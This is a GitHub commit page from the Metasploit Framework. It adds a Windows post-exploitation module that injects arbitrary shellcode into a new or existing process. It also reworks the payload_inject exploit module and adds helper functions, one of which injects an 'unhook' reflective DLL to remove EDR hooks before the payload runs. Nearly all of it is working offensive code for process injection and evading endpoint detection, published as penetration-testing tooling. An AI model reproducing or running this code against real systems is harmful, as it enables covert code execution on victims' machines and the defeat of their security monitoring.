Skip to content

Commit

Permalink
Land #12391, Add shellcode_inject post module
Browse files Browse the repository at this point in the history
Merge branch 'land-12391' into upstream-master
  • Loading branch information
bwatters-r7 authored and msjenkins-r7 committed Dec 12, 2019
1 parent 96dce0c commit 7d239ed
Show file tree
Hide file tree
Showing 3 changed files with 241 additions and 77 deletions.
64 changes: 63 additions & 1 deletion lib/msf/core/post/windows/process.rb
@@ -1,11 +1,41 @@
# -*- coding: binary -*-

require 'msf/core/post/windows/reflective_dll_injection'

module Msf
class Post
module Windows

module Process

include Msf::Post::Windows::ReflectiveDLLInjection

# Checks the Architeture of a Payload and PID are compatible
# Returns true if they are false if they are not
def arch_check(test_arch, pid)
# get the pid arch
client.sys.process.processes.each do |p|
# Check Payload Arch
if pid == p["pid"]
return test_arch == p['arch']
end
end
end

# returns the path to the notepad process based on syswow extension
def get_notepad_pathname(bits, windir, client_arch)
if bits == ARCH_X86 and client_arch == ARCH_X86
cmd = "#{windir}\\System32\\notepad.exe"
elsif bits == ARCH_X64 and client_arch == ARCH_X64
cmd = "#{windir}\\System32\\notepad.exe"
elsif bits == ARCH_X64 and client_arch == ARCH_X86
cmd = "#{windir}\\Sysnative\\notepad.exe"
elsif bits == ARCH_X86 and client_arch == ARCH_X64
cmd = "#{windir}\\SysWOW64\\notepad.exe"
end
return cmd
end

#
# Injects shellcode to a process, and executes it.
#
Expand Down Expand Up @@ -37,10 +67,42 @@ def execute_shellcode(shellcode, base_addr=nil, pid=nil)
vprint_error("Unable to create thread")
nil
end

thread
end

def inject_unhook(proc, bits, delay_sec)
if bits == ARCH_X64
dll_file_name = 'x64.dll'
elsif bits == ARCH_X86
dll_file_name = 'x86.dll'
else
return false
end
dll_file = MetasploitPayloads.meterpreter_ext_path('unhook', dll_file_name)
dll, offset = inject_dll_into_process(proc, dll_file)
proc.thread.create(dll + offset, 0)
Rex.sleep(delay_sec)
end

# Determines if a PID actually exists
def has_pid?(pid)
procs = []
begin
procs = client.sys.process.processes
rescue Rex::Post::Meterpreter::RequestError
print_error("Unable to enumerate processes")
return false
end

procs.each do |p|
found_pid = p['pid']
return true if found_pid == pid
end

print_error("PID #{pid.to_s} does not actually exist.")

return false
end
end # Process
end # Windows
end # Post
Expand Down
130 changes: 54 additions & 76 deletions modules/exploits/windows/local/payload_inject.rb
Expand Up @@ -37,107 +37,85 @@ def initialize(info={})

register_options(
[
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload. 0=New Process', 0]),
OptBool.new('AUTOUNHOOK', [false, 'Auto remove EDRs hooks', false]),
OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5])
])
end

# Run Method for when run command is issued
def exploit
@payload_name = datastore['PAYLOAD']
@payload_arch = framework.payloads.create(@payload_name).arch
@payload_arch = ARCH_X86
payload_arch_old = framework.payloads.create(@payload_name).arch.first
# convert the old style archetecture to the new style
@payload_arch = ARCH_X64 if payload_arch_old.include?('64')

vprint_status("Client Arch = #{client.arch}")
vprint_status("Payload Arch = #{@payload_arch}")

# prelim checks
if client.arch == ARCH_X86 and @payload_arch == ARCH_X64
fail_with(Failure::BadConfig, "Cannot inject a 64-bit payload into any process on a 32-bit OS")
end

# syinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

pid = get_pid
if not pid
proc = get_proc(datastore['PID'])
if not proc
print_error("Unable to get a proper PID")
return
end

inject_into_pid(pid)
end

# Figures out which PID to inject to
def get_pid
pid = datastore['PID']
if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
print_status("Launching notepad.exe...")
pid = create_temp_proc
unless arch_check(@payload_arch, proc.pid)
fail_with(Failure::BadConfig, "Mismatched payload/process architecture")
end

return pid
end


# Determines if a PID actually exists
def has_pid?(pid)
procs = []
begin
procs = client.sys.process.processes
rescue Rex::Post::Meterpreter::RequestError
print_error("Unable to enumerate processes")
return false
if datastore['AUTOUNHOOK']
print_status("Executing unhook")
print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
unless inject_unhook(proc, @payload_arch, datastore['WAIT_UNHOOK'])
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign unhook dll")
end
end

procs.each do |p|
found_pid = p['pid']
return true if found_pid == pid
print_status("Injecting payload into #{proc.pid}")
begin
inject_into_pid(proc.pid)
rescue ::Exception => e
print_error("Failed to inject Payload to #{pid}!")
print_error(e.to_s)
end

print_error("PID #{pid.to_s} does not actually exist.")

return false
end

# Checks the Architeture of a Payload and PID are compatible
# Returns true if they are false if they are not
def arch_check(pid)
# get the pid arch
client.sys.process.processes.each do |p|
# Check Payload Arch
if pid == p["pid"]
vprint_status("Process found checking Architecture")
if @payload_arch.first == p['arch']
vprint_good("Process is the same architecture as the payload")
return true
else
print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
return false
end
# Figures out which PID to inject to
def get_proc(pid)
if pid == 0
notepad_pathname = get_notepad_pathname(@payload_arch, client.sys.config.getenv('windir'), client.arch)
vprint_status("Starting #{notepad_pathname}")
proc = client.sys.process.execute(notepad_pathname, nil, {'Hidden' => datastore['HIDDEN']})
if proc.nil?
print_bad("Failed to start notepad process")
else
print_status("Spawned Notepad process #{proc.pid}")
end
else
if not has_pid?(pid)
print_error("Process #{pid} was not found")
return nil
end
proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
if proc.nil?
print_bad("Failed to start notepad process")
else
print_status("Opening existing process #{proc.pid}")
end
end
end

# Creates a temp notepad.exe to inject payload in to given the payload
# Returns process PID
def create_temp_proc()
windir = client.sys.config.getenv('windir')
# Select path of executable to run depending the architecture
if @payload_arch.first== ARCH_X86 and client.arch == ARCH_X86
cmd = "#{windir}\\System32\\notepad.exe"
elsif @payload_arch.first == ARCH_X64 and client.arch == ARCH_X64
cmd = "#{windir}\\System32\\notepad.exe"
elsif @payload_arch.first == ARCH_X64 and client.arch == ARCH_X86
cmd = "#{windir}\\Sysnative\\notepad.exe"
elsif @payload_arch.first == ARCH_X86 and client.arch == ARCH_X64
cmd = "#{windir}\\SysWOW64\\notepad.exe"
end

begin
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true})
rescue Rex::Post::Meterpreter::RequestError
return nil
end

return proc.pid
return proc
end

def inject_into_pid(pid)
vprint_status("Performing Architecture Check")
return if not arch_check(pid)

return if not arch_check(@payload_arch, pid)
begin
print_status("Preparing '#{@payload_name}' for PID #{pid}")
raw = payload.encoded
Expand Down
124 changes: 124 additions & 0 deletions modules/post/windows/manage/shellcode_inject.rb
@@ -0,0 +1,124 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/common'

class MetasploitModule < Msf::Post
include Msf::Post::Common
include Msf::Post::Windows::Process

def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Memory Shellcode Injection Module',
'Description' => %q{
This module will inject into the memory of a process a specified shellcode.
},
'License' => MSF_LICENSE,
'Author' => [ 'phra <https://iwantmore.pizza>' ],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))

register_options(
[
OptPath.new('SHELLCODE', [true, 'Path to the shellcode to execute']),
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject the shellcode. (0 = new process)', 0]),
OptBool.new('CHANNELIZED', [true, 'Retrieve output of the process', false]),
OptBool.new('INTERACTIVE', [true, 'Interact with the process', false]),
OptBool.new('HIDDEN', [true, 'Spawn an hidden process', true]),
OptBool.new('AUTOUNHOOK', [true, 'Auto remove EDRs hooks', false]),
OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5]),
OptEnum.new('BITS', [true, 'Set architecture bits', '64', ['32', '64']])
])
end

# Run Method for when run command is issued
def run
# syinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

# Set variables
shellcode = IO.read(datastore['SHELLCODE'])
pid = datastore['PID']
bits = datastore['BITS']
p = nil
if bits == '64'
bits = ARCH_X64
else
bits = ARCH_X86
end

# prelim check
if client.arch == ARCH_X86 and @payload_arch == ARCH_X64
fail_with(Failure::BadConfig, "Cannot inject a 64-bit payload into any process on a 32-bit OS")
end

# Start Notepad if Required
if pid == 0
print_warning("It's not possible to retrieve output when injecting existing processes.")
notepad_pathname = get_notepad_pathname(bits, client.sys.config.getenv('windir'), client.arch)
vprint_status("Starting #{notepad_pathname}")
proc = client.sys.process.execute(notepad_pathname, nil, {
'Hidden' => datastore['HIDDEN'],
'Channelized' => datastore['CHANNELIZED'],
'Interactive' => datastore['INTERACTIVE']
})
print_status("Spawned Notepad process #{proc.pid}")
else
if datastore['CHANNELIZED'] && datastore['PID'] != 0
fail_with(Failure::BadConfig, "It's not possible to retrieve output when injecting existing processes!")
end
unless has_pid?(pid)
print_error("Process #{pid} was not found")
return false
end
begin
proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.to_s)
fail_with(Failure::NoAccess, "Failed to open pid #{pid.to_i}")
end
print_status("Opening existing process #{proc.pid}")
end

# Check
if bits == ARCH_X64 and client.arch == ARCH_X86
print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
print_error("Migrate to an x64 process and try again.")
return false
end
if arch_check(bits, proc.pid)
if datastore['AUTOUNHOOK']
print_status("Executing unhook")
print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
unless inject_unhook(proc, bits, datastore['WAIT_UNHOOK'])
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign unhook dll")
end
end
begin
inject(shellcode, proc)
rescue ::Exception => e
print_error("Failed to inject Payload to #{proc.pid}!")
print_error(e.to_s)
end
else
fail_with(Failure::BadConfig, "Arch mismatch between shellcode and process!")
end
end

def inject(shellcode, proc)
mem = inject_into_process(proc, shellcode)
proc.thread.create(mem, 0)
print_good("Successfully injected payload into process: #{proc.pid}")
if datastore['INTERACTIVE'] && datastore['CHANNELIZED'] && datastore['PID'] == 0
print_status("Interacting")
client.console.interact_with_channel(proc.channel)
elsif datastore['CHANNELIZED'] && datastore['PID'] == 0
print_status("Retrieving output")
data = proc.channel.read
print_line(data) if data
end
end
end

0 comments on commit 7d239ed

Please sign in to comment.